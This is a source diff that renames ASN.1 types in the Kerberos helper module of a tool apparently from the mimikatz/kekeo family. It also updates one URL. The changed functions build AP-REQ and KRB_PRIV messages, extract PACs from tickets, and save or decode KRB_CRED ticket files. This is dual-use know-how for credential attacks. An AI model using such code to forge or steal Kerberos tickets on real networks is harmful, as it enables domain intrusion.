@@ -950,7 +959,7 @@ BOOL kull_m_kerberos_asn1_PA_DATA_PacRequest_build(PA_DATA *data, BOOL request)
return status;
}
-BOOL kull_m_kerberos_asn1_PA_DATA_TGS_REQ_build(PA_DATA *data, PrincipalName *pname, Realm prealm, Ticket *ticket, EncryptionKey *key)
+BOOL kull_m_kerberos_asn1_PA_DATA_TGS_REQ_build(KULL_M_ASN1_PA_DATA *data, KULL_M_ASN1_PrincipalName *pname, KULL_M_ASN1_Realm prealm, KULL_M_ASN1_Ticket *ticket, KULL_M_ASN1_EncryptionKey *key)
{
BOOL status = FALSE;
OssBuf encodedReq = {0, NULL};
@@ -965,12 +974,12 @@ BOOL kull_m_kerberos_asn1_PA_DATA_TGS_REQ_build(PA_DATA *data, PrincipalName *pn
return status;
}
-BOOL kull_m_kerberos_asn1_ApReq_build(OssBuf *ApReqData, PrincipalName *pname, Realm prealm, Ticket *ticket, EncryptionKey *key, ULONG keyUsage, EncryptionKey *authenticatorNewKey, UInt32 *authenticatorNewSeq)
+BOOL kull_m_kerberos_asn1_ApReq_build(OssBuf *ApReqData, KULL_M_ASN1_PrincipalName *pname, KULL_M_ASN1_Realm prealm, KULL_M_ASN1_Ticket *ticket, KULL_M_ASN1_EncryptionKey *key, ULONG keyUsage, KULL_M_ASN1_EncryptionKey *authenticatorNewKey, KULL_M_ASN1_UInt32 *authenticatorNewSeq)
{
BOOL status = FALSE;
NTSTATUS ntStatus;
- AP_REQ req = {0};
- Authenticator authenticator = {0};
+ KULL_M_ASN1_AP_REQ req = {0};
+ KULL_M_ASN1_Authenticator authenticator = {0};
DWORD apOptions = 0;
OssBuf encodedAuthenticator = {0, NULL};
@@ -996,7 +1005,7 @@ BOOL kull_m_kerberos_asn1_ApReq_build(OssBuf *ApReqData, PrincipalName *pname, R
if(NT_SUCCESS(ntStatus))
{
authenticator.subkey = *authenticatorNewKey;
- authenticator.bit_mask |= Authenticator_subkey_present;
+ authenticator.bit_mask |= KULL_M_ASN1_Authenticator_subkey_present;
}
else
{
@@ -1008,14 +1017,14 @@ BOOL kull_m_kerberos_asn1_ApReq_build(OssBuf *ApReqData, PrincipalName *pname, R
if(authenticatorNewSeq)
{
authenticator.seq_number = *authenticatorNewSeq = MIMIKATZ_NONCE;
- authenticator.bit_mask |= Authenticator_seq_number_present;
+ authenticator.bit_mask |= KULL_M_ASN1_Authenticator_seq_number_present;
}
- if(!ossEncode(&kull_m_kerberos_asn1_world, Authenticator_PDU, &authenticator, &encodedAuthenticator))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_Authenticator_PDU, &authenticator, &encodedAuthenticator))
{
ntStatus = kull_m_kerberos_asn1_crypto_encrypt(keyUsage, key, &encodedAuthenticator, (OssBuf *) &req.authenticator.cipher, TRUE);
if(NT_SUCCESS(ntStatus))
{
- if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, AP_REQ_PDU, &req, ApReqData)))
+ if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AP_REQ_PDU, &req, ApReqData)))
PRINT_ERROR(L"Unable to encode AP_REQ: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
LocalFree(req.authenticator.cipher.value);
}
@@ -1026,21 +1035,21 @@ BOOL kull_m_kerberos_asn1_ApReq_build(OssBuf *ApReqData, PrincipalName *pname, R
return status;
}
-BOOL kull_m_kerberos_asn1_AuthorizationData_from_PAC_build(OssBuf *AuthData, _octet1 *pac)
+BOOL kull_m_kerberos_asn1_AuthorizationData_from_PAC_build(OssBuf *AuthData, KULL_M_ASN1__octet1 *pac)
{
BOOL status = FALSE;
OssBuf adPacBuff = {0, NULL};
- struct AuthorizationData adIf = {NULL, {AD_TYPE_IF_RELEVANT}}, adPac = {NULL, {AD_TYPE_WIN2K_PAC}}, adRoot = {NULL, {0, {0, NULL}}};
+ struct KULL_M_ASN1_AuthorizationData adIf = {NULL, {AD_TYPE_IF_RELEVANT}}, adPac = {NULL, {AD_TYPE_WIN2K_PAC}}, adRoot = {NULL, {0, {0, NULL}}};
*AuthData = adPacBuff;// to do !!!
adPac.value.ad_data = *pac;
adRoot.next = &adPac;
- if(!ossEncode(&kull_m_kerberos_asn1_world, AD_IF_RELEVANT_PDU, &adRoot, &adPacBuff))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AD_IF_RELEVANT_PDU, &adRoot, &adPacBuff))
{
- adIf.value.ad_data = *(_octet1 *) &adPacBuff;
+ adIf.value.ad_data = *(KULL_M_ASN1__octet1 *) &adPacBuff;
adRoot.next = &adIf;
- status = !ossEncode(&kull_m_kerberos_asn1_world, AD_IF_RELEVANT_PDU, &adRoot, AuthData);
+ status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AD_IF_RELEVANT_PDU, &adRoot, AuthData);
ossFreeBuf(&kull_m_kerberos_asn1_world, adPacBuff.value);
}
if(!status)
@@ -1048,24 +1057,24 @@ BOOL kull_m_kerberos_asn1_AuthorizationData_from_PAC_build(OssBuf *AuthData, _oc
return status;
}
-BOOL kull_m_kerberos_asn1_PAC_from_EncTicketPart(EncryptionKey *key, EncryptedData *data, _octet1 *pac)
+BOOL kull_m_kerberos_asn1_PAC_from_EncTicketPart(KULL_M_ASN1_EncryptionKey *key, KULL_M_ASN1_EncryptedData *data, KULL_M_ASN1__octet1 *pac)
{
BOOL status = FALSE;
NTSTATUS ntStatus;
OssBuf binTicket = {0, NULL};
int myPdu;
- EncTicketPart *ticket = NULL;
- _octet1 *extractedPac;
+ KULL_M_ASN1_EncTicketPart *ticket = NULL;
+ KULL_M_ASN1__octet1 *extractedPac;
pac->length = 0;
pac->value = NULL;
ntStatus = kull_m_kerberos_asn1_crypto_encrypt(KRB_KEY_USAGE_AS_REP_TGS_REP, key, (OssBuf *) &data->cipher, &binTicket, FALSE);
if(NT_SUCCESS(ntStatus))
{
- myPdu = EncTicketPart_PDU;
+ myPdu = KULL_M_ASN1_EncTicketPart_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &myPdu, &binTicket, (LPVOID *) &ticket))
{
- if(ticket->bit_mask & EncTicketPart_authorization_data_present)
+ if(ticket->bit_mask & KULL_M_ASN1_EncTicketPart_authorization_data_present)
{
if(extractedPac = kull_m_kerberos_asn1_AuthorizationData_from_Type(ticket->authorization_data, AD_TYPE_WIN2K_PAC))
{
@@ -1079,7 +1088,7 @@ BOOL kull_m_kerberos_asn1_PAC_from_EncTicketPart(EncryptionKey *key, EncryptedDa
else PRINT_ERROR(L"No AD_TYPE_WIN2K_PAC found\n");
}
else PRINT_ERROR(L"No authorization data\n");
- ossFreePDU(&kull_m_kerberos_asn1_world, EncTicketPart_PDU, ticket);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncTicketPart_PDU, ticket);
}
else PRINT_ERROR(L"Unable to decode EncTicketPart: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
LocalFree(binTicket.value);
@@ -1088,12 +1097,12 @@ BOOL kull_m_kerberos_asn1_PAC_from_EncTicketPart(EncryptionKey *key, EncryptedDa
return status;
}
-BOOL kull_m_kerberos_asn1_KrbPriv_build(_octet1 *data, EncryptionKey *key, PCSTR machineName, OssBuf *OutKrbPriv, UInt32 *seq)
+BOOL kull_m_kerberos_asn1_KrbPriv_build(KULL_M_ASN1__octet1 *data, KULL_M_ASN1_EncryptionKey *key, PCSTR machineName, OssBuf *OutKrbPriv, KULL_M_ASN1_UInt32 *seq)
{
BOOL status = FALSE;
NTSTATUS ntStatus;
- EncKrbPrivPart encPart;
- KRB_PRIV kPriv;
+ KULL_M_ASN1_EncKrbPrivPart encPart;
+ KULL_M_ASN1_KRB_PRIV kPriv;
unsigned char src[16];
OssBuf bufEncPart = {0, NULL};
@@ -1118,15 +1127,15 @@ BOOL kull_m_kerberos_asn1_KrbPriv_build(_octet1 *data, EncryptionKey *key, PCSTR
if(seq)
{
encPart.seq_number = *seq;
- encPart.bit_mask |= EncKrbPrivPart_seq_number_present;
+ encPart.bit_mask |= KULL_M_ASN1_EncKrbPrivPart_seq_number_present;
}
- if(!ossEncode(&kull_m_kerberos_asn1_world, EncKrbPrivPart_PDU, &encPart, &bufEncPart))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbPrivPart_PDU, &encPart, &bufEncPart))
{
ntStatus = kull_m_kerberos_asn1_crypto_encrypt(KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, key, &bufEncPart, (OssBuf *) &kPriv.enc_part.cipher, TRUE);
if(NT_SUCCESS(ntStatus))
{
- if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KRB_PRIV_PDU, &kPriv, OutKrbPriv)))
+ if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_PRIV_PDU, &kPriv, OutKrbPriv)))
PRINT_ERROR(L"Unable to encode KRB_PRIV: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
LocalFree(kPriv.enc_part.cipher.value);
}
@@ -1137,12 +1146,12 @@ BOOL kull_m_kerberos_asn1_KrbPriv_build(_octet1 *data, EncryptionKey *key, PCSTR
return status;
}
-BOOL kull_m_kerberos_asn1_EncKrbPrivPart_from_Priv_build(KRB_PRIV *priv, EncKrbPrivPart ** encKrbPrivPart, EncryptionKey *authKey)
+BOOL kull_m_kerberos_asn1_EncKrbPrivPart_from_Priv_build(KULL_M_ASN1_KRB_PRIV *priv, KULL_M_ASN1_EncKrbPrivPart ** encKrbPrivPart, KULL_M_ASN1_EncryptionKey *authKey)
{
BOOL status = FALSE;
NTSTATUS ntStatus;
OssBuf encKrbPrivPartBuff;
- int pdu = EncKrbPrivPart_PDU;
+ int pdu = KULL_M_ASN1_EncKrbPrivPart_PDU;
*encKrbPrivPart = NULL;
ntStatus = kull_m_kerberos_asn1_crypto_encrypt(KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, authKey, (OssBuf *) &priv->enc_part.cipher, &encKrbPrivPartBuff, FALSE);
@@ -1156,13 +1165,13 @@ BOOL kull_m_kerberos_asn1_EncKrbPrivPart_from_Priv_build(KRB_PRIV *priv, EncKrbP
return status;
}
-BOOL kull_m_kerberos_asn1_KrbCred_build(KDC_REP *rep, EncKDCRepPart *repPart, OssBuf *OutKrbCred)
+BOOL kull_m_kerberos_asn1_KrbCred_build(KULL_M_ASN1_KDC_REP *rep, KULL_M_ASN1_EncKDCRepPart *repPart, OssBuf *OutKrbCred)
{
BOOL status = FALSE;
- KRB_CRED cred;
- struct _seqof3 seqTicket;
- EncKrbCredPart encKrbCredPart;
- struct _seqof5 krbCredInfo;
+ KULL_M_ASN1_KRB_CRED cred;
+ struct KULL_M_ASN1__seqof3 seqTicket;
+ KULL_M_ASN1_EncKrbCredPart encKrbCredPart;
+ struct KULL_M_ASN1__seqof5 krbCredInfo;
OutKrbCred->length = 0;
OutKrbCred->value = NULL;
@@ -1181,7 +1190,7 @@ BOOL kull_m_kerberos_asn1_KrbCred_build(KDC_REP *rep, EncKDCRepPart *repPart, Os
encKrbCredPart.ticket_info = &krbCredInfo;
krbCredInfo.next = NULL;
- krbCredInfo.value.bit_mask = pname_present | flags_present | endtime_present | KrbCredInfo_sname_present;
+ krbCredInfo.value.bit_mask = KULL_M_ASN1_pname_present | KULL_M_ASN1_flags_present | KULL_M_ASN1_endtime_present | KULL_M_ASN1_KrbCredInfo_sname_present;
krbCredInfo.value.key = repPart->key;
krbCredInfo.value.prealm = rep->crealm;
krbCredInfo.value.pname = rep->cname;
@@ -1190,24 +1199,24 @@ BOOL kull_m_kerberos_asn1_KrbCred_build(KDC_REP *rep, EncKDCRepPart *repPart, Os
krbCredInfo.value.sname = repPart->sname;
krbCredInfo.value.srealm = repPart->srealm;
- if(repPart->bit_mask & EncKDCRepPart_starttime_present)
+ if(repPart->bit_mask & KULL_M_ASN1_EncKDCRepPart_starttime_present)
{
krbCredInfo.value.starttime = repPart->starttime;
- krbCredInfo.value.bit_mask |= KrbCredInfo_starttime_present;
+ krbCredInfo.value.bit_mask |= KULL_M_ASN1_KrbCredInfo_starttime_present;
}
- if(repPart->bit_mask & EncKDCRepPart_renew_till_present)
+ if(repPart->bit_mask & KULL_M_ASN1_EncKDCRepPart_renew_till_present)
{
krbCredInfo.value.renew_till = repPart->renew_till;
- krbCredInfo.value.bit_mask |= KrbCredInfo_renew_till_present;
+ krbCredInfo.value.bit_mask |= KULL_M_ASN1_KrbCredInfo_renew_till_present;
}
- if(repPart->bit_mask & EncKDCRepPart_caddr_present)
+ if(repPart->bit_mask & KULL_M_ASN1_EncKDCRepPart_caddr_present)
{
krbCredInfo.value.caddr = repPart->caddr;
- krbCredInfo.value.bit_mask |= KrbCredInfo_caddr_present;
+ krbCredInfo.value.bit_mask |= KULL_M_ASN1_KrbCredInfo_caddr_present;
}
- if(!ossEncode(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, &encKrbCredPart, (OssBuf *) &cred.enc_part.cipher))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, &encKrbCredPart, (OssBuf *) &cred.enc_part.cipher))
{
- if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, &cred, OutKrbCred)))
+ if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, &cred, OutKrbCred)))
PRINT_ERROR(L"Unable to encode KRB_CRED: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
ossFreeBuf(&kull_m_kerberos_asn1_world, cred.enc_part.cipher.value);
}
@@ -1215,9 +1224,9 @@ BOOL kull_m_kerberos_asn1_KrbCred_build(KDC_REP *rep, EncKDCRepPart *repPart, Os
return status;
}
-LPWSTR kull_m_kerberos_asn1_KdcRep_filename(KDC_REP *rep, EncKDCRepPart *enc, PCWCHAR opt, PCWCHAR ext)
+LPWSTR kull_m_kerberos_asn1_KdcRep_filename(KULL_M_ASN1_KDC_REP *rep, KULL_M_ASN1_EncKDCRepPart *enc, PCWCHAR opt, PCWCHAR ext)
{
- struct _seqof1 *names;
+ struct KULL_M_ASN1__seqof1 *names;
DWORD len = 4; // TGT_ or TGS_
LPWSTR buffer = NULL, nbuffer, sep;
PCWCHAR pExt = ext ? ext : MIMIKATZ_KERBEROS_EXT;
@@ -1282,22 +1291,22 @@ LPWSTR kull_m_kerberos_asn1_KdcRep_filename(KDC_REP *rep, EncKDCRepPart *enc, PC
return buffer;
}
-LPWSTR kull_m_kerberos_asn1_KrbCred_filename(KRB_CRED *cred, PCWCHAR opt, PCWCHAR ext)
+LPWSTR kull_m_kerberos_asn1_KrbCred_filename(KULL_M_ASN1_KRB_CRED *cred, PCWCHAR opt, PCWCHAR ext)
{
- struct _seqof1 *names;
+ struct KULL_M_ASN1__seqof1 *names;
DWORD len = 0;
LPWSTR buffer = NULL, nbuffer;
PCWCHAR pExt = ext ? ext : MIMIKATZ_KERBEROS_EXT;
- int pduNum = EncKrbCredPart_PDU;
- EncKrbCredPart *KrbCred = NULL;
- KrbCredInfo *infos;
+ int pduNum = KULL_M_ASN1_EncKrbCredPart_PDU;
+ KULL_M_ASN1_EncKrbCredPart *KrbCred = NULL;
+ KULL_M_ASN1_KrbCredInfo *infos;
if(cred->enc_part.etype == KERB_ETYPE_NULL)
{
if(!ossDecode(&kull_m_kerberos_asn1_world, &pduNum, (OssBuf *) &cred->enc_part.cipher, (LPVOID *) &KrbCred))
{
infos = &KrbCred->ticket_info->value;
- if(infos->bit_mask & pname_present)
+ if(infos->bit_mask & KULL_M_ASN1_pname_present)
{
for(names = infos->pname.name_string; names; names = names->next)
len += lstrlenA(names->value) + 1; // + ~ or @
@@ -1305,7 +1314,7 @@ LPWSTR kull_m_kerberos_asn1_KrbCred_filename(KRB_CRED *cred, PCWCHAR opt, PCWCHA
len += lstrlenA(infos->prealm);
else len--;
}
- if(infos->bit_mask & KrbCredInfo_sname_present)
+ if(infos->bit_mask & KULL_M_ASN1_KrbCredInfo_sname_present)
{
len += 1; // + _
for(names = infos->sname.name_string; names; names = names->next)
@@ -1320,7 +1329,7 @@ LPWSTR kull_m_kerberos_asn1_KrbCred_filename(KRB_CRED *cred, PCWCHAR opt, PCWCHA
if(buffer = (LPWSTR) LocalAlloc(LPTR, len * sizeof(wchar_t)))
{
- if(infos->bit_mask & pname_present)
+ if(infos->bit_mask & KULL_M_ASN1_pname_present)
{
for(names = infos->pname.name_string; names; names = names->next)
{
@@ -1342,7 +1351,7 @@ LPWSTR kull_m_kerberos_asn1_KrbCred_filename(KRB_CRED *cred, PCWCHAR opt, PCWCHA
}
}
}
- if(infos->bit_mask & KrbCredInfo_sname_present)
+ if(infos->bit_mask & KULL_M_ASN1_KrbCredInfo_sname_present)
{
wcscat_s(buffer, len, L"_");
for(names = infos->sname.name_string; names; names = names->next)
@@ -1371,14 +1380,14 @@ LPWSTR kull_m_kerberos_asn1_KrbCred_filename(KRB_CRED *cred, PCWCHAR opt, PCWCHA
wcscat_s(buffer, len, pExt);
kull_m_file_cleanFilename(buffer);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, KrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, KrbCred);
}
else PRINT_ERROR(L"Unable to decode EncKrbCredPart: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
return buffer;
}
-BOOL kull_m_kerberos_asn1_KdcRep_save(KDC_REP *rep, EncKDCRepPart *encRepPart, LPCWSTR filename, LPCWSTR opt, PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK callback)
+BOOL kull_m_kerberos_asn1_KdcRep_save(KULL_M_ASN1_KDC_REP *rep, KULL_M_ASN1_EncKDCRepPart *encRepPart, LPCWSTR filename, LPCWSTR opt, PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK callback)
{
BOOL status = FALSE;
OssBuf KrbCred = {0, NULL};
@@ -1427,11 +1436,11 @@ void kull_m_kerberos_asn1_displayFlags(ULONG flags)
if((flags >> (i + 16)) & 1)
kprintf(L"%s ; ", TicketFlagsToStrings[i]);
}
-BOOL kull_m_kerberos_asn1_KrbCred_decode(OssBuf *ossBuf, EncryptionKey *key, KRB_CRED **KrbCred, EncKrbCredPart **encKrbCred)
+BOOL kull_m_kerberos_asn1_KrbCred_decode(OssBuf *ossBuf, KULL_M_ASN1_EncryptionKey *key, KULL_M_ASN1_KRB_CRED **KrbCred, KULL_M_ASN1_EncKrbCredPart **encKrbCred)
{
BOOL status = FALSE;
DWORD flags;
- int myPdu = KRB_CRED_PDU;
+ int myPdu = KULL_M_ASN1_KRB_CRED_PDU;
*KrbCred = NULL;
*encKrbCred = NULL;
@@ -1442,10 +1451,10 @@ BOOL kull_m_kerberos_asn1_KrbCred_decode(OssBuf *ossBuf, EncryptionKey *key, KRB
kprintf(L" @ %S\n [krb-cred] E: [%08x] %s\n", (*KrbCred)->tickets->value.realm, (*KrbCred)->tickets->value.enc_part.etype, kull_m_kerberos_asn1_crypto_etype((*KrbCred)->tickets->value.enc_part.etype));
// TODO: decryption with key
- myPdu = EncKrbCredPart_PDU;
+ myPdu = KULL_M_ASN1_EncKrbCredPart_PDU;
if(status = !ossDecode(&kull_m_kerberos_asn1_world, &myPdu, (OssBuf *) &(*KrbCred)->enc_part.cipher, (LPVOID *) encKrbCred))
{
- if((*encKrbCred)->ticket_info->value.bit_mask & pname_present)
+ if((*encKrbCred)->ticket_info->value.bit_mask & KULL_M_ASN1_pname_present)
{
kprintf(L" [enc-krb-cred] P: ");
kull_m_kerberos_asn1_PrincipalName_descr(&(*encKrbCred)->ticket_info->value.pname, FALSE);
@@ -1453,7 +1462,7 @@ BOOL kull_m_kerberos_asn1_KrbCred_decode(OssBuf *ossBuf, EncryptionKey *key, KRB
kprintf(L" @ %S", (*encKrbCred)->ticket_info->value.prealm);
kprintf(L"\n");
}
- if((*encKrbCred)->ticket_info->value.bit_mask & KrbCredInfo_sname_present)
+ if((*encKrbCred)->ticket_info->value.bit_mask & KULL_M_ASN1_KrbCredInfo_sname_present)
{
kprintf(L" [enc-krb-cred] S: ");
kull_m_kerberos_asn1_PrincipalName_descr(&(*encKrbCred)->ticket_info->value.sname, FALSE);
@@ -1463,24 +1472,24 @@ BOOL kull_m_kerberos_asn1_KrbCred_decode(OssBuf *ossBuf, EncryptionKey *key, KRB
}
kprintf(L" [enc-krb-cred] T: ");
- if((*encKrbCred)->ticket_info->value.bit_mask & authtime_present)
+ if((*encKrbCred)->ticket_info->value.bit_mask & KULL_M_ASN1_authtime_present)
{
kprintf(L"{A:");
kull_m_kerberos_asn1_KerberosTime_print(&(*encKrbCred)->ticket_info->value.authtime);
kprintf(L"} ");
}
- if((*encKrbCred)->ticket_info->value.bit_mask & KrbCredInfo_starttime_present)
+ if((*encKrbCred)->ticket_info->value.bit_mask & KULL_M_ASN1_KrbCredInfo_starttime_present)
{
kprintf(L"[");
kull_m_kerberos_asn1_KerberosTime_print(&(*encKrbCred)->ticket_info->value.starttime);
kprintf(L" ; ");
}
- if((*encKrbCred)->ticket_info->value.bit_mask & endtime_present)
+ if((*encKrbCred)->ticket_info->value.bit_mask & KULL_M_ASN1_endtime_present)
{
kull_m_kerberos_asn1_KerberosTime_print(&(*encKrbCred)->ticket_info->value.endtime);
kprintf(L"]");
}
- if((*encKrbCred)->ticket_info->value.bit_mask & KrbCredInfo_renew_till_present)
+ if((*encKrbCred)->ticket_info->value.bit_mask & KULL_M_ASN1_KrbCredInfo_renew_till_present)
{
kprintf(L" {R:");
kull_m_kerberos_asn1_KerberosTime_print(&(*encKrbCred)->ticket_info->value.renew_till);
@@ -1488,7 +1497,7 @@ BOOL kull_m_kerberos_asn1_KrbCred_decode(OssBuf *ossBuf, EncryptionKey *key, KRB
}
kprintf(L"\n");
- if((*encKrbCred)->ticket_info->value.bit_mask & flags_present)
+ if((*encKrbCred)->ticket_info->value.bit_mask & KULL_M_ASN1_flags_present)
{
if((*encKrbCred)->ticket_info->value.flags.length >= (sizeof(DWORD) * 8))
{
@@ -1504,7 +1513,7 @@ BOOL kull_m_kerberos_asn1_KrbCred_decode(OssBuf *ossBuf, EncryptionKey *key, KRB
else
{
PRINT_ERROR(L"Unable to decode EncKrbCredPart: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, *KrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, *KrbCred);
*KrbCred = NULL;
}
}
@@ -1512,7 +1521,7 @@ BOOL kull_m_kerberos_asn1_KrbCred_decode(OssBuf *ossBuf, EncryptionKey *key, KRB
return status;
}
-BOOL kull_m_kerberos_asn1_KrbCred_load(LPCWSTR filename, EncryptionKey *key, KRB_CRED **KrbCred, EncKrbCredPart **encKrbCred)
+BOOL kull_m_kerberos_asn1_KrbCred_load(LPCWSTR filename, KULL_M_ASN1_EncryptionKey *key, KULL_M_ASN1_KRB_CRED **KrbCred, KULL_M_ASN1_EncKrbCredPart **encKrbCred)
{
BOOL status = FALSE;
OssBuf ossTgtBuff = {0, NULL};
diff --git a/modules/asn1/kull_m_kerberos_asn1.h b/modules/asn1/kull_m_kerberos_asn1.h
index 2efe2a0..3a9e661 100644
--- a/modules/asn1/kull_m_kerberos_asn1.h
+++ b/modules/asn1/kull_m_kerberos_asn1.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -13,7 +13,7 @@
typedef struct _KULL_M_CRYPTO_DH_KEY_INFO {
HCRYPTPROV hProv;
HCRYPTKEY hKey;
- DHNonce dhClientNonce;
+ KULL_M_ASN1_DHNonce dhClientNonce;
} KULL_M_CRYPTO_DH_KEY_INFO, *PKULL_M_CRYPTO_DH_KEY_INFO;
typedef struct _KULL_M_CRYPTO_PROV_INFO {
@@ -29,7 +29,7 @@ typedef struct _KULL_M_CRYPTO_CERT_INFO {
KULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo;
//CRYPT_KEY_PROV_INFO tmpKey;
- AS_REQ *tmpAsReq;
+ KULL_M_ASN1_AS_REQ *tmpAsReq;
} KULL_M_CRYPTO_CERT_INFO, *PKULL_M_CRYPTO_CERT_INFO;
#define KERB_KDCOPTION_reserved 0x80000000
@@ -111,23 +111,23 @@ typedef enum _KIWI_AUTH_INFOS_TYPE {
typedef struct _KIWI_AUTH_INFOS {
LPWSTR w_realm;
- Realm realm;
+ KULL_M_ASN1_Realm realm;
LPWSTR w_short_realm;
LPWSTR w_cname;
LPWSTR w_short_cname;
- PrincipalName cname;
+ KULL_M_ASN1_PrincipalName cname;
BOOL needPac;
- PrincipalName sname;
+ KULL_M_ASN1_PrincipalName sname;
KIWI_AUTH_INFOS_TYPE type;
// for future negociation
LPWSTR w_password;
union {
- EncryptionKey ekey;
+ KULL_M_ASN1_EncryptionKey ekey;
KULL_M_CRYPTO_CERT_INFO certinfos;
} u;
@@ -143,7 +143,7 @@ typedef struct _KIWI_AUTHENTICATOR_CKSUM {
// BYTE Exts[];
} KIWI_AUTHENTICATOR_CKSUM, *PKIWI_AUTHENTICATOR_CKSUM;
-typedef NTSTATUS (CALLBACK * PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK) (PVOID data, DWORD len, PrincipalName *sname);
+typedef NTSTATUS (CALLBACK * PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK) (PVOID data, DWORD len, KULL_M_ASN1_PrincipalName *sname);
#include "kull_m_kerberos_asn1_crypto.h"
#include "kull_m_kerberos_asn1_net.h"
@@ -153,65 +153,65 @@ OssGlobal kull_m_kerberos_asn1_world;
BOOL kull_m_kerberos_asn1_init();
void kull_m_kerberos_asn1_term();
-void kull_m_kerberos_asn1_PrincipalName_create(PrincipalName *principal_name, Int32 name_type, DWORD count, ...);
-void kull_m_kerberos_asn1_PrincipalName_create_fromName(PrincipalName *principal_name, Realm *pRealm, LPCWSTR name);
-void kull_m_kerberos_asn1_PrincipalName_delete(PrincipalName *principal_name);
-void kull_m_kerberos_asn1_PrincipalName_descr(PrincipalName *principal_name, BOOL withType);
+void kull_m_kerberos_asn1_PrincipalName_create(KULL_M_ASN1_PrincipalName *principal_name, KULL_M_ASN1_Int32 name_type, DWORD count, ...);
+void kull_m_kerberos_asn1_PrincipalName_create_fromName(KULL_M_ASN1_PrincipalName *principal_name, KULL_M_ASN1_Realm *pRealm, LPCWSTR name);
+void kull_m_kerberos_asn1_PrincipalName_delete(KULL_M_ASN1_PrincipalName *principal_name);
+void kull_m_kerberos_asn1_PrincipalName_descr(KULL_M_ASN1_PrincipalName *principal_name, BOOL withType);
-void kull_m_kerberos_asn1_KerberosTime_build_systemtime(KerberosTime *time, PSYSTEMTIME pSystemTime, BOOL isMaxMs2037);
-void kull_m_kerberos_asn1_KerberosTime_build_filetime(KerberosTime *time, PFILETIME pFileTime, BOOL isMaxMs2037);
-void kull_m_kerberos_asn1_KerberosTime_build_time_t(KerberosTime *time, time_t uTime);
-void kull_m_kerberos_asn1_KerberosTime_to_systemtime(KerberosTime *time, PSYSTEMTIME pSystemTime);
-void kull_m_kerberos_asn1_KerberosTime_to_filetime(KerberosTime *time, PFILETIME pFileTime);
-void kull_m_kerberos_asn1_KerberosTime_to_time_t(KerberosTime *time, time_t * uTime);
-void kull_m_kerberos_asn1_KerberosTime_print(KerberosTime *time);
+void kull_m_kerberos_asn1_KerberosTime_build_systemtime(KULL_M_ASN1_KerberosTime *time, PSYSTEMTIME pSystemTime, BOOL isMaxMs2037);
+void kull_m_kerberos_asn1_KerberosTime_build_filetime(KULL_M_ASN1_KerberosTime *time, PFILETIME pFileTime, BOOL isMaxMs2037);
+void kull_m_kerberos_asn1_KerberosTime_build_time_t(KULL_M_ASN1_KerberosTime *time, time_t uTime);
+void kull_m_kerberos_asn1_KerberosTime_to_systemtime(KULL_M_ASN1_KerberosTime *time, PSYSTEMTIME pSystemTime);
+void kull_m_kerberos_asn1_KerberosTime_to_filetime(KULL_M_ASN1_KerberosTime *time, PFILETIME pFileTime);
+void kull_m_kerberos_asn1_KerberosTime_to_time_t(KULL_M_ASN1_KerberosTime *time, time_t * uTime);
+void kull_m_kerberos_asn1_KerberosTime_print(KULL_M_ASN1_KerberosTime *time);
-void kull_m_kerberos_asn1_KdcReqBody_build(KDC_REQ_BODY *body, PrincipalName *cname, Realm realm, PrincipalName *sname, DWORD Options, struct _seqof2 *suppEtype);
-void kull_m_kerberos_asn1_KdcReqBody_free(KDC_REQ_BODY *body);
+void kull_m_kerberos_asn1_KdcReqBody_build(KULL_M_ASN1_KDC_REQ_BODY *body, KULL_M_ASN1_PrincipalName *cname, KULL_M_ASN1_Realm realm, KULL_M_ASN1_PrincipalName *sname, DWORD Options, struct KULL_M_ASN1__seqof2 *suppEtype);
+void kull_m_kerberos_asn1_KdcReqBody_free(KULL_M_ASN1_KDC_REQ_BODY *body);
-BOOL kull_m_kerberos_asn1_AsReqAsRep(PKIWI_AUTH_INFOS authinfos, PKULL_M_SOCK fullsocket, KerberosTime *time, PrincipalName *altService, AS_REP **AsRep, EncKDCRepPart **encAsRepPart, EncryptionKey *replyKey);
-BOOL kull_m_kerberos_asn1_AsReqGenericRep(PKIWI_AUTH_INFOS authinfos, PKULL_M_SOCK fullsocket, KerberosTime *time, PrincipalName *altService, int pduRep, LPVOID *Rep);
